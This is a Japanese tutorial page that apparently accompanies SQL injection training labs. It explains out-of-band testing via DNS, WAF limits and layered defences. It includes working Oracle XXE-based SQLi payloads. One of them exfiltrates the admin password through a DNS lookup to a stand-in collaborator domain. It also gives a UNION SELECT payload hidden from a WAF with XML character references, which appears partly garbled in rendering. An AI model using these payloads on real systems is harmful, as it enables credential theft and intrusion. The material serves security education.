1. OAST とは何か #oast-concept
OAST = Out-of-band Application Security Testing。HTTP の応答(画面、エラー、時間)に反映されない動作を、別のチャネル(DNS、HTTP 外部リクエスト、SMTP メールなど)経由で観測する手法。
Lab 16〜17 のような完全不可視ケース——クエリが非同期で、結果が応答に反映されず、エラーも握りつぶされ、時間遅延も観測しにくい状況——でも、「DB から外部に DNS 問合せが飛ぶ」という事実はサーバの外側から観測できます。
攻撃者の SQLi ↓ DB(被害サーバ)が外部 DNS に問合せ ↓ 攻撃者が制御する DNS サーバにログ記録 ↓ 攻撃者がログを見る → 攻撃成功確認
2. DNS 経由の通信観測 #dns-mechanics
DNS は「ドメイン名 → IP アドレス」の変換システム。example.com という名前を IP に解決するには、example.com ドメインを管理する権威 DNS サーバへの問合せが発生します。
攻撃者が attacker-domain.com というドメインを所有していて、その権威 DNS サーバを自分で運用していたら——誰かが xxx.attacker-domain.com を解決しようとした事実が全部記録されます。
被害サーバ内の DB に「secret-value.attacker-domain.com を解決しろ」と命令する SQL を注入すれば、secret-value が DNS ログに残ります。HTTP 応答を見ずにデータを抜く、という発想。
3. Burp Collaborator #collaborator
PortSwigger が提供する Burp Suite Professional の機能で、ランダムな使い捨てサブドメインを生成し、そのサブドメインへの DNS / HTTP / SMTP 通信を全部記録してくれるサービスです。
攻撃者は xxxxxx.burpcollaborator.net のような URL を Burp から取得し、SQLi ペイロードに埋め込みます。被害サーバが解決を試みれば、Burp の管理画面に問合せログが出ます。
本サイトの Lab 16〜17 では Burp Collaborator の代わりに utsuroi-collab.example という疑似コラボレータを使用。実際の DNS は飛ばず、ペイロード解析でログ生成をシミュレートします。
4. Oracle XXE トリック(Lab 16) #xxe-trigger
Oracle DB は xmltype 関数で XML を扱える機能を持っており、その XML パーサが外部エンティティ参照を解決しようとする挙動を悪用します(XXE = XML External Entity)。
-- DTD 内で外部エンティティ "remote" を定義し、それを参照 SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://test.collab-domain.example/"> %remote; ]>'), '/l') FROM dual
Oracle の XML パーサが SYSTEM URL を解決しようとして、test.collab-domain.example への DNS 問合せが発生。攻撃者の DNS ログに記録される。
意味的には「XML を読むついでに外部のリソースを取りに行く」機能を、誰も望んでいないシナリオで誤発火させる手口。XXE は本来 XML の機能であり、SQL の機能ではない——でも Oracle DB の中で XML パーサが動いているから、SQL から間接的に呼び出せる。
5. OAST でデータ漏洩(Lab 17) #oast-exfil
Lab 16 はトリガーするだけ(DNS が飛んだ事実 = SQLi 脆弱性ありの確認)。Lab 17 は値を取り出します。SYSTEM URL の中にサブクエリを連結:
SELECT EXTRACTVALUE(xmltype('<?xml ...> <!DOCTYPE root [ <!ENTITY % a SYSTEM "http://' || (SELECT password FROM users WHERE username='admin') || '.collab-domain.example/"> %a; ]>'), '/l') FROM dual
DB 側で文字列連結が解決されて「http://<admin の password>.collab-domain.example/」という URL ができる。これを XML パーサが解決しようとして DNS 問合せが発生し、サブドメイン部分に admin の password が含まれた状態でコラボレータに記録されます。
DNS のサブドメインは英数字・ハイフン・ドットのみ、各ラベル63文字、合計253文字までという制限があります。記号を含む値はそのまま埋められないので、攻撃者は HEX エンコードや Base32 を使って制限を回避します(本ラボでは簡略化のためエンコードなし)。
6. WAF の役割と限界 #waf
WAF(Web Application Firewall)は、Web アプリケーション宛のリクエストを検査して、SQLi/XSS など既知の攻撃パターンを含むリクエストを遮断するセキュリティ製品です。リクエストボディや URL に SELECT、UNION、OR 1=1 といった文字列が含まれていれば、アプリケーションに届く前にブロックします。
ただし WAF はパターンマッチングに基づくため、根本対策ではありません。回避手法は無数にあり:
- 大文字小文字の混在(
SeLeCt) - SQL コメントを語の中に挿入(
SEL/**/ECT) - 同義語の使用(
UNION SELECTの代わりに別の構文) - エンコーディング(URL エンコード、HTML/XML 文字参照)
- HTTP パラメータ汚染(同じパラメータ名を複数回送る)
IPA「安全なウェブサイトの作り方」も WAF を「保険的な対策」と位置付け、根本対策(プレースホルダ等)とセットで使うべきとしています。
7. XML 文字参照によるフィルタ回避(Lab 18) #xml-bypass
Lab 18 は XML POST エンドポイントで、WAF がリクエストボディに SELECT、UNION 等の SQL キーワードを検出すると遮断する設定。生のキーワードは弾かれます:
<productId>1 UNION SELECT username,password FROM users--</productId>
↑ WAF が検出して 403 で遮断
でも XML 数値文字参照(S = S など)を使えば:
<productId>1 UNION SELECT
username,password FROM users--</productId>
↑ WAF はパターンを認識できず通過
WAF の正規表現は生のテキスト UN... を見るので、ここに UNION という単語は存在しない(ように見える)。リクエストはアプリケーションに到達する。アプリ側の XML パーサが文字参照をデコードして UNION に変換し、SQL に渡される——攻撃成立。
8. 複数レイヤのエンコーディング問題 #layered-encoding
Lab 18 の根底にある問題は、Web アプリケーションが複数レイヤを通っており、各レイヤで「同じバイト列が異なる意味を持つ」点。
- WAF レイヤ — リクエストをテキストとして見る。
Sは記号6文字の集まり - XML パーサ — XML 仕様に従ってデコード。
SはS1文字 - SQL レイヤ — XML パーサがデコードした後の文字列を SQL として解釈
各レイヤが独立に判断するため、WAF が「これは安全」と判断したリクエストが、後段のレイヤで攻撃に変わる。これは XML だけの話ではなく、URL エンコード、HTML エンティティ、Unicode 正規化、JSON エスケープなどでも同様の問題が起きます。
根本対策は「WAF だけに依存せず、各レイヤで適切な処理をする」。XML を受け取るならパース後の値に対してプレースホルダで SQL 実行する、URL を受け取るならデコード後にバリデーションする、など。
IPA は SQLi 対策として「根本的解決(プレースホルダ)」と「保険的対策(WAF、エラー非表示、最小権限)」を区別しています。WAF だけで防御するのではなく、根本対策と組み合わせる多層防御の発想が重要。
IPA「安全なウェブサイトの作り方 — 1.1 SQL インジェクション」